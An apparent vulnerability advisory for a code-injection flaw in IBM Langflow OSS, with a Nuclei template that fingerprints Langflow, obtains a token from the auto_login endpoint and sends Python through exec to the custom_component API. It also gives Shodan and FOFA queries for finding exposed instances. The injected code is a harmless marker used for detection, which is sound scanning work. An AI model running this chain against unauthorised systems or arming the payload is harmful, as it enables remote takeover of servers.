CVE-2026-107328: IBM Langflow OSS - Remote Code Execution

2026-12-04 PoC Public

Description

IBM Langflow OSS 1.0.0 through 1.12.4 contains a remote code execution caused by improper neutralization of code in eval/exec, letting remote authenticated attackers execute arbitrary code.

Details

CVE
CVE-2026-107328 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-107328

info:
  name: IBM Langflow OSS - Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    IBM Langflow OSS 1.0.0 through 1.12.4 contains a remote code execution caused by improper neutralization of code in eval/exec, letting remote authenticated attackers execute arbitrary code.
  impact: |
    Remote authenticated attackers can execute arbitrary code, potentially leading to full system compromise.
  remediation: |
    Update to the latest version beyond 1.12.4.
  reference:
    - https://www.ibm.com/support/pages/node/7293016
    - https://nvd.nist.gov/vuln/detail/CVE-2026-107328
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-107328
    epss-score: 0.03161
    epss-percentile: 0.88386
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 3
    vendor: langflow
    product: langflow
    shodan-query: http.title:"Langflow"
    fofa-query: title="Langflow"
  tags: cve,cve2026,langflow,ibm,rce,unauth,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 302'
          - 'contains_any(to_lower(body), "langflow", "/api/v1/")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/v1/auto_login HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "access_token")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: token
        part: body
        regex:
          - '"access_token":"([^"]+)"'
        group: 1
        internal: true

  - raw:
      - |
        POST /api/v1/custom_component HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"code":"from langflow.custom import Component\nclass P(Component):\n exec('raise RuntimeError(str(31337*3))')","frontend_node":{}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "RuntimeError", "94011")'
          - 'status_code == 400 || status_code == 500'
        condition: and
# digest: 4a0a00473045022022f48ec3efebce795f73cb3cd9d973a27fcf3c4a63e370f4f9425fd43a93d282022100b5ce045a229d6435319c693728f3f1b89873a16a70298d67eeba9807cc977e1a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life